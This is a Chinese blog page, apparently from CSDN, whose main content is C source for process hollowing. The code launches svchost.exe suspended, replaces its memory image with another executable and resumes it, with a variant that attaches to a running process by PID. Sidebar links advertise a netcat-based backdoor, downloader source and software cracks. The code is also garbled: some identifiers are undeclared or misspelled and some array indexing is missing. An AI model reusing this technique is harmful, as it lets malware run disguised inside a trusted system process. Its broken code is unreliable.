一个向别的进程插入dll的代码

逆向工程核心原理——代码注入 什么是代码注入? 代码注入是一种向目标进程插入独立运行代码并使之运行的技术,它一般调用CreateRemoteThread()API以远程线程形式运行插入的代码,所以也被称为线程注入。 使用代码注入的原因 其实,代码注入要实现的功能与DLL注入类似,但具体实施时要考虑的事项更多,使用起来 更加不便。那它的优点究竟是什么呢? 1.占用内存少 如果要注入的代码与数据较少,那么就不需要将它们做成DLL的形式再注入。此时直接采用 代码注入的方式同样能够获得与DLL注入相同的效果,且占用... 阅读详情
 
#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"

struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};

struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};


struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};

struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};


struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};

struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};

#define TARGETPROC "svchost.exe" ;

typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;

BOOL EXPD = False ;
CHAR *PID;

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
      SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);

if(fileSize < sizeof(MZHeader))
{
  printf("File size too small/n"); 
  return false;
}

// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);

if(mzH.signature != 0x5a4d)  // MZ
{
  printf("File does not have MZ header/n");
  return false;
}

printf("Offset to PE Header = %X/n", mzH.offsetToPE);

if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
{
  printf("File size too small/n"); 
  return false;
}

// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);

printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
printf("Number of sections = %d/n", peH.numSections);

if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
  printf("Unexpected option header size./n");
 
  return false;
}

// read PE Ext Header
PE_ExtHeader peXH;

fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

printf("Import table address = %X/n", peXH.importTableAddress);
printf("Import table size = %X/n", peXH.importTableSize);
printf("Import address table address = %X/n", peXH.importAddressTableAddress);
printf("Import address table size = %X/n", peXH.importAddressTableSize);


// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];

fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;

return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;

if(inpeXH->sizeOfHeaders % alignment == 0)
  result += inpeXH->sizeOfHeaders;
else
{
  int val = inpeXH->sizeOfHeaders / alignment;
  val++;
  result += (val * alignment);
}


for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.virtualSize)
  {
    if(inSecHdr.virtualSize % alignment == 0)
      result += inSecHdr.virtualSize;
    else
    {
      int val = inSecHdr.virtualSize / alignment;
      val++;
      result += (val * alignment);
    }
  }
}

return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{ 
if(curSize % alignment == 0)
  return curSize;
else
{
  int val = curSize / alignment;
  val++;
  return (val * alignment);
}
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;

fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;

// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.

for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.pointerToRawData < headerSize)
    headerSize = inSecHdr.pointerToRawData;
}

// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
printf("HeaderSize = %d/n", headerSize);
if(readSize != headerSize)
{
  printf("Error reading headers (%d %d)/n", readSize, headerSize);
  return false; 
}

outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

// read the sections
for(i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.sizeOfRawData > 0)
  {
    unsigned long toRead = inSecHdr.sizeOfRawData;
    if(toRead > inSecHdr.virtualSize)
      toRead = inSecHdr.virtualSize;

    fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);
    readSize = fread(outPtr, 1, toRead, fp);

    if(readSize != toRead)
    {
      printf("Error reading section %d/n", i);
      return false;
    }
    outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
  else
  {
    // this handles the case where the PE file has an empty section. E.g. UPX0 section
    // in UPXed files.

    if(inSecHdr.virtualSize)
      outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
}

return true;
}





//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
  long delta = newBase - inpeXH->imageBase;

  while(fixBlk->blockSize)
  {
    printf("Addr = %X/n", fixBlk->pageRVA);
    printf("Size = %X/n", fixBlk->blockSize);

    int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
    printf("Num Entries = %d/n", numEntries);

    unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

    for(int i = 0; i < numEntries; i++)
    {
      DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
     
      int relocType = (*offsetPtr & 0xF000) >> 12;
     
      printf("Val = %X/n", *offsetPtr);
      printf("Type = %X/n", relocType);

      if(relocType == 3)
        *codeLoc = ((DWORD)*codeLoc) + delta;
      else
      {
        printf("Unknown relocation type = %d/n", relocType);
      }
      offsetPtr++;
    }

    fixBlk = (FixupBlock *)offsetPtr;
  }
} 
}


//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


 
 
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};
if(!EXPD)
  {
if(CreateProcess(NULL, TARGETPROC,
        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) 
{
  ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);

  DWORD *pebInfo = (DWORD *)ctx->Ebx;
  DWORD read;
  ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);

  DWORD curAddr = outChildProcInfo->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
  {
    if(memInfo.State == MEM_FREE)
      break;
    curAddr += memInfo.RegionSize;
  }
  outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

  return TRUE;
}
} else
{
  DEBUG_EVENT DBEvent;
  if(DebugActiveProcess((DWORD)*PID))
  {
    WaitForDebugEvent(&DBEvent,INFINITE);
    pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
    pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
    ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);
  DWORD *pebInfo2 = (DWORD *)ctx->Fs;
  *pedInfo2+=0x30;
  DWORD read2;
  ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);

  DWORD curAddr2 = outChildProcInfo2->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo2;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
  {
    if(memInfo2.State == MEM_FREE)
      break;
    curAddr2+= memInfo2.RegionSize;
  }
  outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;

  return TRUE;
  }
}

return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  return TRUE;
}
return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//  thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;

if(createChild(&pi, &ctx, &childInfo))
{ 
  printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
  printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
 
  LPVOID v = (LPVOID)NULL;
 
  if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
  {
    // if new EXE has same baseaddr and is its size is <= to the original EXE, just
    // overwrite it in memory
    v = (LPVOID)childInfo.baseAddr;
    DWORD oldProtect;
    VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);     
   
    printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
  }
  else
  {
    // get address of ZwUnmapViewOfSection
    PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

    // try to unmap the original EXE image
    if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
    {
      // allocate memory for the new EXE image at the prefered imagebase.
      v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if(v)
        printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
    }
  }

  if(!v && hasRelocationTable(inpeXH))
  {
    // if unmap failed but EXE is relocatable, then we try to load the EXE at another
    // location
    v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(v)
    {
      printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

      // we've got to do the relocation ourself if we load the image at another
      // memory location     
      doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
    }
  }

  printf("EIP = %X/n", ctx.Eip);
  printf("EAX = %X/n", ctx.Eax);
  printf("EBX = %X/n", ctx.Ebx);  // EBX points to PEB
  printf("ECX = %X/n", ctx.Ecx);
  printf("EDX = %X/n", ctx.Edx);
 
  if(v)
  {     
    printf("New EXE Image Size = %X/n", imageSize);
   
    // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
    DWORD *pebInfo = (DWORD *)ctx.Ebx;
    DWORD wrote;         
    WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

    // patch the base addr in the PE header of the EXE that we load ourselves
    PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
    peXH->imageBase = (DWORD)v;
   
    if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
    { 
      printf("New EXE image injected into process./n");

      ctx.ContextFlags=CONTEXT_FULL;     
      //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
     
      if((DWORD)v == childInfo.baseAddr)
      {
        ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }
      else
      {
        // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
        // performed.
        ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }

      printf("********> EIP = %X/n", ctx.Eip);
      printf("********> EAX = %X/n", ctx.Eax);

      SetThreadContext(pi.hThread,&ctx);

      ResumeThread(pi.hThread);
      printf("Process resumed (PID = %d)./n", pi.dwProcessId);
    }
    else
    {
      printf("WriteProcessMemory failed/n");
      TerminateProcess(pi.hProcess, 0);
    }
  }
  else
  {
    printf("Load failed. Consider making this EXE relocatable./n");
    TerminateProcess(pi.hProcess, 0);
  }
}
else
{
  printf("Cannot load %s/n", TARGETPROC);
}
}




int main(int argc, char* argv[])
{
if((argc < 2 )||(argc > 3))
{
  printf("/nUsage: %s [pid]/n", argv[0]);
  return 1;
}
  if(argc==3){
  alloc(PID,1024);
  memset(PID,0,1024);
  strcpy(PID,argv[2]);
  EXPD= True ;
  }
 
FILE *fp = fopen(argv[1], "rb");
if(fp)
{
  MZHeader mzH;
  PE_Header peH;
  PE_ExtHeader peXH;
  SectionHeader *secHdr;

  if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
  {
    int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
    printf("Image Size = %X/n", imageSize);

    LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(ptrLoc)
    {
      printf("Memory allocated at %X/n", ptrLoc);
      loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                     
     
      doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);             
    }
    else
      printf("Allocation failed/n");
  }

  fclose(fp);
}
else
  printf("/nCannot open the EXE file!/n");

return 0;
}
古典黑客技术之HOOK API 古典黑客技术之HOOK APIHOOK API技术可以拦截、控制某些API函数的调用。当一个API函数被拦截之后,用户可以让目标程序执行事先准备好的代码。(比如说,构造的代码是过滤此API函数传入的参数的,而此API函数又是用来获取进程的,当此API被拦截之后,我们就可以让它转去执行过滤参数的代码。)PE文件的导入表HOOK API其实是对远程进程内存数据的修改,可以通过修改导入表中的导入函数地址表 阅读详情

相关推荐

第22章插入DLL和挂接API

第22章插入DLL和挂接API 在MicrosoftWindows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一个其引用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址上的内存,那么这个错误不会影响另一个进程使用的内存。 在Windows98下运行的各个进程共享2GB的地址空间

Lydia的博客 1902

一个向别的进程插入dll的代码收藏

#include "stdafx.h"#include "windows.h"#include "tlhelp32.h"#include "ntpsapi.h"struct PE_Header{unsigned long signature;unsigned short machine;unsigned short num

大浪淘沙的专栏 991

Detours学习之十三:Detours API用于将dll和有效负载插入新进程的api

用于将dll和有效负载插入新进程的api DetourCreateProcessWithDllEx DetourCreateProcessWithDlls DetourCopyPayloadToProcess DetourCopyPayloadToProcessEx DetourFinishHelperProcess DetourIsHelperProcess DetourRestoreAfterWith 一、DetourCreateProcessWithDllEx 创建一个新进程并将DLL

jyl_sh的专栏 3461

PE文件感染

最近学习了一下PE文件,看了份PE文件感染源码,分析了一下,其实就是修改进程,抛砖引玉 本来想把整个代码发下,但是太大了,只发函数的 #/////读取文件PE信息 BOOL readPEInfo(FILE* fp,MZHeader* outMZ,PE_Header* outPE,PE_ExtHeader* outpeXH,SectionHeader** outSecHdr) {

magedhenary的专栏 1178

把dll模块注入到游戏进程的方法_插APC注入

APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入。

douluo998的博客 1174

动态库dll与静态库lib编程5:进程注入技术

动态库dll与静态库lib编程5:进程注入技术。

qq_59940419的博客 1806

最基础的插入进程代码

//获得进程句柄 HWND hwnd=::FindWindow(NULL,"计算器"); if(!hwnd) {  AfxMessageBox("请打开计算器");  return; }  //取得进程句柄和进程ID DWORD Process,ProcessId; Process=::GetWindowThreadProcessId(hwnd,&ProcessId);  //利用进程句柄

低调’s Blog 716

HOOK API——Windows核心编程 第22章 插入DLL和挂接API学习笔记

介绍:HOOK API是指截获特定进程或系统对某个API函数的调用,使得API的执行流程转向指定的代码。Windows下的应用程序都建立在API函数至上,所以截获API是一项相当有用的技术,它使得用户有机会干预其它应用程序的程序流程。最常用的一种挂钩API的方法是改变目标进程中调用API函数的代码,使得它们对API的调用变为对用户自定义函数的调用。HOOK API和HOOK技术完全不同。尽

super_chris的专栏 9524

NB的内存加载exe文件

原理: 1. 把你的程序读要内存 2. 以 CREATE_SUSPENDED模式CreateProcess打开svchost.exe 3. 修改svchost.exe页面的属性,然后把要运行的那个程序的内容拷贝到svchost.exe页面 4. 然后再运行 实质想当于是 披着/svchost.exe进程的相关信息/这张皮,而皮里面的肉都被改了 原文来自哪里忘记了,。呵呵 // #in

木休的斋堂 1993

高精度计算Π的值(C语言)

题目要求 限制使用双向链表作存储结构,请根据用户输入的一个整数(该整数表示精确到小数点后的位数,可能要求精确到小数点后500位),高精度计算PI值。可以利用反三角函数幂级展开式来进行计算。 输入5 输出3.14159 思路分析 反三角函数幂级展开式 由公式可以看出,只要计算出来每一个R(n)的值再相加取二倍就可以得到Π的值。 经过推算,要是令R(1)=2,只需要将每个R(n),相加即可。 因...

weixin_46251155的博客 8036

电子纸价签实战:基于SSD1680的墨水屏驱动开发与优化

本文详细介绍了基于SSD1680驱动芯片的电子纸价签开发实战,涵盖硬件连接、驱动框架搭建、核心流程解析及性能优化。重点剖析了初始化配置、波形文件加载、图像数据写入与刷新触发等关键步骤,并提供了功耗优化、显示效果提升及代码健壮性等实用避坑指南,帮助开发者高效实现稳定低功耗的墨水屏驱动。

weixin_28278377的博客 235

一个向别的进程插入dll的代码 .

--------- Functions in C --------------- CONTEXT OriginalContext; //Get/SetThreadContext's parameter char OriginalCodePage[4096]; DWORD sizeofCP=0; VOID* mySec; //my section...Offset of Code

或许 562

CubeMX实战:ETH+LWIP+FreeRTOS网络工程从零搭建与AC6编译优化

本文手把手教你使用STM32CubeMX从零搭建集成以太网(ETH)、LWIP协议栈和FreeRTOS的嵌入式网络工程。文章详细解析了外设配置、协议栈调优、任务规划等关键步骤,并重点分享了如何解决ARM Compiler 6(AC6)的兼容性问题,实现编译速度与稳定性的双重提升,助你快速构建稳定的网络应用原型。

n2o3p4的博客 412

NC.EXE结合线程插入技术做的一个后门

LOOK         这是我写一文章,把NC.EXE结合线程插入技术做的一个后门,,,     你看看吧         不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它BIND到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个SHELL来实现各种操作,不需要特别的客户端,只要用WINDOWS自带的TELNET客户端就可以了。     下面我给出

lionzl的专栏 1001

PlutoSDR在matlab中的环境配置(包括驱动和硬件支持包)

双击下载到的驱动,除了点击接受协议和设置安装路径,其他只要点击下一步或者安装即可。登录或者注册你的账号,选择你的matlab版本(这里我的是2023b),点击下一步。设置安装路径,并选择我接受,点击下一步,即可安装完成,并在安装路径中得到。完成后,打开设备管理器,在端口和通用串行总线设备一栏,即可看见下图。点击进入,选择相应的系统安装包,这里我选择的Windows。可看到我们要安装的Pluto支持包,安装即可。右击桌面matlab,选择打开文件所在位置。右上角搜索pluto,选择并点击下一步。

weixin_53160338的博客 4874

从《视觉SLAM十四讲》到项目实战:一文读懂拓扑地图与语义地图为何是服务机器人的未来

本文探讨了服务机器人地图技术的演进,从传统几何地图到拓扑地图与语义地图的跨越。通过分析栅格地图的局限性和拓扑地图、语义地图的优势,揭示了它们在动态开放环境中的智能应用。文章还介绍了多模态语义融合架构和动态语义更新技术,为服务机器人的未来发展提供了技术路线图。

weixin_30292843的博客 481

无Dll插入进程,下载者VC源代码

 http://hi.baidu.com/core22/blog/item/f5399d23c1f9bb40ac34de73.html 无Dll插入进程,下载者VC源代码2007-12-30 15:29     生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.参考delphi版本的下载者源代码,编出来有16K左右。压缩也有10K多

Richard的专栏 1589

YOLOv5改进 | 注意力篇 | iRMB倒置残差块注意力机制(轻量化注意力机制,附二次创新)

本文给家大家带来的改进机制是iRMB,其是在论文Rethinking Mobile Block for Efficient Attention-based Models种提出,论文提出了一个新的主干网络EMO(后面我也会教大家如何使用该主干,本文先教大家使用该文中提出的注意力机制)。其主要思想是将轻量级的CNN架构与基于注意力的模型结构相结合(有点类似ACmix)我将iRMB和C2f结合,然后也将其用在了检测头种进行尝试三种结果进行对比,针对的作用也不相同,但是无论那种实验均有一定涨点效果。

Snu77的博客 2572

木马隐藏技术(3) -- 进程注入

此为《木马技术揭秘与防御》系列读书笔记 进程注入prerequirement 类似的说法: 线程插入、DLL注入、远程线程插入 线程插入: 让一个线程在别的进程中执行 DLL文件隐藏的原理: dll文件不能单独运行,需要由进程(宿主)加载并调用。因为不能单独运行,dll文件就不会在进程管理器中出现,于是入侵检测软件和进程列表中都只有宿主进程的id,而找不到dll。 进程注...

weixin_30511107的博客 705

新手必看:C#调用YOLO模型完成图片/视频目标检测(上位机版)

新手学习C#调用YOLO模型,核心是先把基础流程跑通,再逐步优化。图片检测是基础,视频检测就是在图片的基础上加循环和线程,而上位机的实际项目,就是在这个基础上适配工业硬件和业务需求。本文的代码都是新手能直接复制运行的,如果你运行时遇到问题,先检查前期准备是否到位,再看避坑指南。记住,新手别追求一步到位,先实现功能,再慢慢优化性能和界面。等你能熟练调用YOLO模型后,再去研究模型训练、量化优化等进阶内容,会轻松很多。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 992

第78篇:AI辅助创意与设计工作流——Logo、海报、UI的自动化生成与迭代(操作教程)

在广告公司和设计团队摸爬滚打几年,我见过太多设计师为一个Logo的配色、一张海报的版式反复修改到深夜。自从AI绘画工具爆发,我就一直在琢磨,怎么把这些“黑科技”真正塞进设计师的日常流水线里,而不是让它们仅仅是个玩具。今天要聊的,就是一套我实践下来,能真正提升效率的AI辅助创意与设计工作流。我们不谈颠覆,只谈增效——如何用AI快速完成Logo、海报、UI的灵感生成、批量出图与智能迭代,把设计师从重复劳动中解放出来,聚焦在真正的创意决策上。

weixin_37464284的博客 553

NT环境下进程隐藏的实现

 在NT环境下隐藏进程,也就是说在用户不知情的条件下,执行自己的代码的方法有很多种,比如说使用注册表插入DLL,使用Windows挂钩等等。其中比较有代表性的是Jeffrey Richer在《Windows核心编程》中介绍的LoadLibrary方法和罗云彬在《windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是:都采用远程线程,让自己的代码作为宿主进程的线程在宿主进程的

227

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

用DLL控制Windows中进程的方法

在Microsoft Windows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一銎湟用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址系内存,那么这个错误不会影响另一个进程使用的内存。Windows 98 在Windows 98下运行的各个进程共享2 GB的地址空间,该地址空间从0x

cnim549405865的专栏 712

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

上一篇: About Handling Nmi
下一篇: Uninformed Journal Release Announcement: Volume 10
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址